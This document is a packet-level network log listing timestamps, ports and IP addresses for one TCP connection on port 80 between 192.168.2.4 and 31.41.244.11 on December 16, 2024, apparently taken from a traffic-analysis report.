Dec 16, 2024 21:02:36.129431963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.130325079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.130368948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.130454063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.130502939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.131493092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.131546021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.131587982 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.132472038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.132510900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.132539988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.132699013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.133409023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.133451939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.133500099 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.133538008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.134438038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.134481907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.134578943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.134618998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.135406971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.135452986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.135490894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.135642052 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.136430979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.136512995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.136558056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.137332916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.137434006 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.137484074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.137526989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.138472080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.138585091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.138634920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.139375925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.139492989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.139533043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.140352964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.140398979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.140470028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.140527964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.141397953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.141444921 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.141607046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.141647100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.142400980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.142446041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.142488003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.142529964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.143377066 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.143423080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.143425941 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.143623114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.144404888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.144452095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.144532919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.144572973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.145447016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.145489931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.145519972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.145558119 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.146440029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.146486998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.146534920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.146574020 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.147418022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.147468090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.147510052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.147665977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.148456097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.148561954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.148612976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.148612976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.149444103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.149527073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.149580002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.150469065 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.150568008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.150614023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.151525021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.151570082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.151611090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.151648045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.152503967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.152554035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.152633905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.152777910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.153475046 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.153590918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.153633118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.154476881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.154535055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.154576063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.154616117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.155491114 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.155603886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.155652046 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.156663895 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.156716108 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.156811953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.156852007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.157519102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.157578945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.157619953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.157658100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.158505917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.158555031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.158591032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.158632040 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.159553051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.159600973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.159646988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.159782887 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.160504103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.160551071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.160572052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.160618067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.161536932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.161583900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.161632061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.161674976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.162544012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.162590027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.162636995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.162800074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.163527966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.163572073 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.163671017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.163711071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.164573908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.164619923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.164654016 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.164691925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.165545940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.165592909 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.165640116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.165679932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.166686058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.166727066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.166774035 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.166944981 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.167788982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.167859077 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.167910099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.168579102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.168685913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.168735027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.169626951 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.169687033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.169784069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.170007944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.170655012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.170706987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.170892000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.170934916 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.171612024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.171667099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.171756029 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.172046900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.172647953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.172781944 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.172799110 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.172888041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.173650980 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.173701048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.173742056 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.173845053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.174709082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.174753904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.174887896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.174926996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.175630093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.175677061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.175755024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.175882101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.176637888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.176697969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.176768064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.176814079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.177644968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.177696943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.177751064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.177789927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.178656101 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.178723097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.178879023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.178916931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.179646015 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.179692030 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.179781914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.179864883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.180643082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.180690050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.320056915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.320331097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.320410967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.320501089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.320501089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.320580006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.320633888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.320862055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.320931911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.321624041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.321696043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.321758986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.322685003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.322760105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.322801113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.322848082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.323626995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.323694944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.323700905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.323750019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.324644089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.324717045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.324765921 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.324812889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.325648069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.325676918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.325700045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.325759888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.326668024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.326742887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.326797009 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.327668905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.327761889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.327784061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.328035116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.328924894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.328982115 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.329082012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.329514980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.329700947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.329752922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.329807997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.330705881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.330784082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.330785036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.331682920 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.331741095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.331773043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.332030058 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.332664967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.332807064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.332861900 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.333702087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.333816051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.334022999 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.334758043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.334813118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.334950924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.335000992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.335745096 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.335797071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.335802078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.335853100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.336731911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.336790085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.336846113 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.336898088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.337728024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.337805033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.337852001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.337903023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.338767052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.338814974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.338819027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.338866949 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.339718103 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.339771986 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.339833021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.339884043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.340789080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.341032028 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.341119051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.341172934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.341794014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.341865063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.341872931 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.341931105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.342858076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.342924118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.342955112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.343262911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.343791008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.343913078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.343920946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.343990088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.344789028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.344844103 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.344852924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.344902992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.345818043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.345873117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.346318007 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.346415043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.346812963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.346864939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.347053051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.347105026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.347852945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.347930908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.348028898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.348082066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.348815918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.348867893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.348900080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.348948956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.349853039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.349905014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.349951982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.350018978 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.350847960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.350918055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.351032019 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.351810932 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.351866007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.351923943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.351985931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.352839947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.352890968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.352967978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.353019953 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.353863001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.353913069 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.353951931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.353986025 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.354866028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.354912996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.354943991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.355012894 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.355952024 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.356014013 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.356045961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.356098890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.356904030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.356959105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.357004881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.357055902 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.357896090 CET	80	49812	31.41.244.11	192.168.2.4
